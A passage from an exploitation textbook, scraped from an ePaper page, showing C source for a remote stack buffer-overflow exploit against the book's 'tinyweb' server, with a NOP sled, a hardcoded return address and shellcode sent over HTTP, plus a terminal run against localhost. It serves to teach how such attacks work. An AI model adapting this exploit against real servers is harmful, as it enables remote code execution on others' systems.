26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

#define RETADDR 0xbffff688<br />

int main(int argc, char *argv[]) {<br />

int sockfd, buflen;<br />

struct hostent *host_info;<br />

struct sockaddr_in target_addr;<br />

unsigned char buffer[600];<br />

if(argc < 2) {<br />

printf("Usage: %s \n", argv[0]);<br />

exit(1);<br />

}<br />

if((host_info = gethostbyname(argv[1])) == NULL)<br />

fatal("looking up hostname");<br />

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)<br />

fatal("in socket");<br />

target_addr.sin_family = AF_INET;<br />

target_addr.sin_port = htons(80);<br />

target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);<br />

memset(&(target_addr.sin_zero), '\0', 8); // Zero <strong>the</strong> rest <strong>of</strong> <strong>the</strong> struct.<br />

if (connect(sockfd, (struct sockaddr *)&target_addr, size<strong>of</strong>(struct sockaddr)) == -1)<br />

fatal("connecting to target server");<br />

bzero(buffer, 600);<br />

// Zero out <strong>the</strong> buffer.<br />

memset(buffer, '\x90', OFFSET);<br />

// Build a NOP sled.<br />

*((u_int *)(buffer + OFFSET)) = RETADDR; // Put <strong>the</strong> return address in<br />

memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode.<br />

strcat(buffer, "\r\n");<br />

// Terminate <strong>the</strong> string.<br />

printf("Exploit buffer:\n");<br />

dump(buffer, strlen(buffer)); // Show <strong>the</strong> exploit buffer.<br />

send_string(sockfd, buffer); // Send exploit buffer as an HTTP request.<br />

}<br />

exit(0);<br />

When this program is compiled, it can remotely exploit hosts running<br />

<strong>the</strong> tinyweb program, tricking <strong>the</strong>m into running <strong>the</strong> shellcode. The exploit<br />

also dumps out <strong>the</strong> bytes <strong>of</strong> <strong>the</strong> exploit buffer before it sends it. In <strong>the</strong> output<br />

below, <strong>the</strong> tinyweb program is run in a different terminal, and <strong>the</strong> exploit is<br />

tested against it. Here’s <strong>the</strong> output from <strong>the</strong> attacker’s terminal:<br />

reader@<strong>hacking</strong>:~/booksrc $ gcc tinyweb_exploit.c<br />

reader@<strong>hacking</strong>:~/booksrc $ ./a.out 127.0.0.1<br />

Exploit buffer:<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................<br />

276 0x400

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!